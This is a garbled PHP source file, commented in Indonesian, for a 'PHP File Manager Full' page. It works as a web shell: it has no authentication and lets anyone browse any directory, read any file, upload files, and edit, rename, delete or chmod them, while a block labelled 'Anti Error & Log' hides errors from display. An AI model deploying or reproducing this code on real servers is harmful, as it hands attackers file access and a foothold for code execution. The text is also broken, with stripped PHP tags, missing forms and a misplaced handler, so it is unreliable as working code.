// --- Anti Error & Log ---
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__.'/error.log');
// --- Direktori saat ini ---
$directory = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
$directory = realpath($directory);
if (!is_dir($directory)) die("Direktori tidak valid.");
// --- Tombol naik folder ---
$parentDir = dirname($directory);
// --- Scan folder ---
$files = array_diff(scandir($directory), array('.', '..'));
$dirs = $regularFiles = [];
foreach ($files as $file) {
$filePath = $directory . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) $dirs[] = $file;
else $regularFiles[] = $file;
}
$sortedFiles = array_merge($dirs, $regularFiles);
// --- Pesan status ---
$msg = '';
// --- Handle Upload File ---
if (isset($_FILES['upload_file'])) {
$targetFile = $directory . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $targetFile)) $msg = "Upload sukses!";
else $msg = "Upload gagal!";
}
// --- Handle Create Folder ---
if (isset($_POST['new_folder'])) {
$newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['new_folder'];
if (!file_exists($newFolder) && mkdir($newFolder)) $msg = "Folder dibuat: ".$_POST['new_folder'];
else $msg = "Gagal buat folder!";
}
// --- Handle Create File ---
if (isset($_POST['new_file'])) {
$newFile = $directory . DIRECTORY_SEPARATOR . $_POST['new_file'];
if (!file_exists($newFile) && file_put_contents($newFile, '') !== false) $msg = "File dibuat: ".$_POST['new_file'];
else $msg = "Gagal buat file!";
}
// --- Handle Delete ---
if (isset($_POST['delete_file'])) {
$target = $directory . DIRECTORY_SEPARATOR . $_POST['delete_file'];
if (is_file($target) && unlink($target)) $msg = "File dihapus: ".$_POST['delete_file'];
elseif (is_dir($target) && rmdir($target)) $msg = "Folder dihapus: ".$_POST['delete_file'];
else $msg = "Gagal menghapus: ".$_POST['delete_file'];
}
// --- Handle Rename ---
if (isset($_POST['rename_file'], $_POST['new_name'])) {
$old = $directory . DIRECTORY_SEPARATOR . $_POST['rename_file'];
$new = $directory . DIRECTORY_SEPARATOR . $_POST['new_name'];
if (rename($old, $new)) $msg = "Rename sukses!";
else $msg = "Rename gagal!";
}
// --- Handle Edit File ---
if (isset($_POST['edit_file'], $_POST['edit_content'])) {
$fileEdit = $directory . DIRECTORY_SEPARATOR . $_POST['edit_file'];
if (is_writable($fileEdit) && file_put_contents($fileEdit, $_POST['edit_content']) !== false) $msg = "Edit sukses!";
else $msg = "Edit gagal!";
}
// --- Handle Chmod ---
if (isset($_POST['chmod_file'], $_POST['chmod_value'])) {
$chmodPath = $directory . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
$chmodVal = octdec($_POST['chmod_value']);
if (chmod($chmodPath, $chmodVal)) $msg = "Chmod sukses!";
else $msg = "Chmod gagal!";
}
$currentDir = htmlspecialchars($directory);
<!DOCTYPE html>
<meta charset="UTF-8">
PHP File Manager Full<title>PHP File Manager Full</title>
<style>
body{font-family:arial;background:#f2f2f2;margin:0;padding:0;}
header{background:#333;color:#fff;padding:10px;}
.container{padding:15px;}
.file-list{list-style:none;padding:0;}
.file-item{margin:5px 0;display:flex;align-items:center;}
.file-item .icon{width:40px;text-align:center;}
.file-item .file-name{margin-left:5px;}
.message{padding:5px;color:green;}
input, button, textarea{padding:5px;margin:3px;}
textarea{width:100%;height:200px;}
form.inline{display:inline;}
</style>
<header>
PHP File Manager Full
<small>Current Dir: echo $currentDir; </small>
</header>
<div class="container">
if($msg) echo "<p class='message'>".$msg."</p>";
<!-- Upload -->
<!-- Create File & Folder -->
<!-- File List -->
<ul class="file-list">
if ($parentDir && is_dir($parentDir)):
<li class="file-item">
<a href="?dir= echo urlencode($parentDir); " class="icon">[Parent]</a>
<span class="file-name">..</span>
</li>
endif;
foreach ($sortedFiles as $file):
$filePath = $directory . DIRECTORY_SEPARATOR . $file;
<li class="file-item">
<div class="icon"> echo is_dir($filePath) ? "[Dir]" : "[File]"; </div>
<div class="file-name">
if(is_dir($filePath)):
<a href="?dir= echo urlencode($filePath); "> echo htmlspecialchars($file); </a>
else:
echo htmlspecialchars($file);
endif;
</div>
<!-- Action Buttons -->
if(!is_dir($filePath)):
endif;
</li>
endforeach;
</ul>
<!-- Edit Modal -->
<div id="editModal" style="display:none;">
</div>
<script>
function editFile(filename){
document.getElementById('editModal').style.display='block';
document.getElementById('editFileName').innerText = filename;
document.getElementById('editFileInput').value = filename;
fetch('?dir= echo urlencode($directory); &file_view='+filename)
.then(r=>r.text())
.then(data=>document.getElementById('editContent').value=data);
}
function closeEdit(){
document.getElementById('editModal').style.display='none';
}
</script>
</div>
// --- Handle file_view for edit modal ---
if(isset($_GET['file_view'])){
$file = $directory . DIRECTORY_SEPARATOR . $_GET['file_view'];
if(is_file($file)) die(file_get_contents($file));
else die('File tidak ditemukan.');
}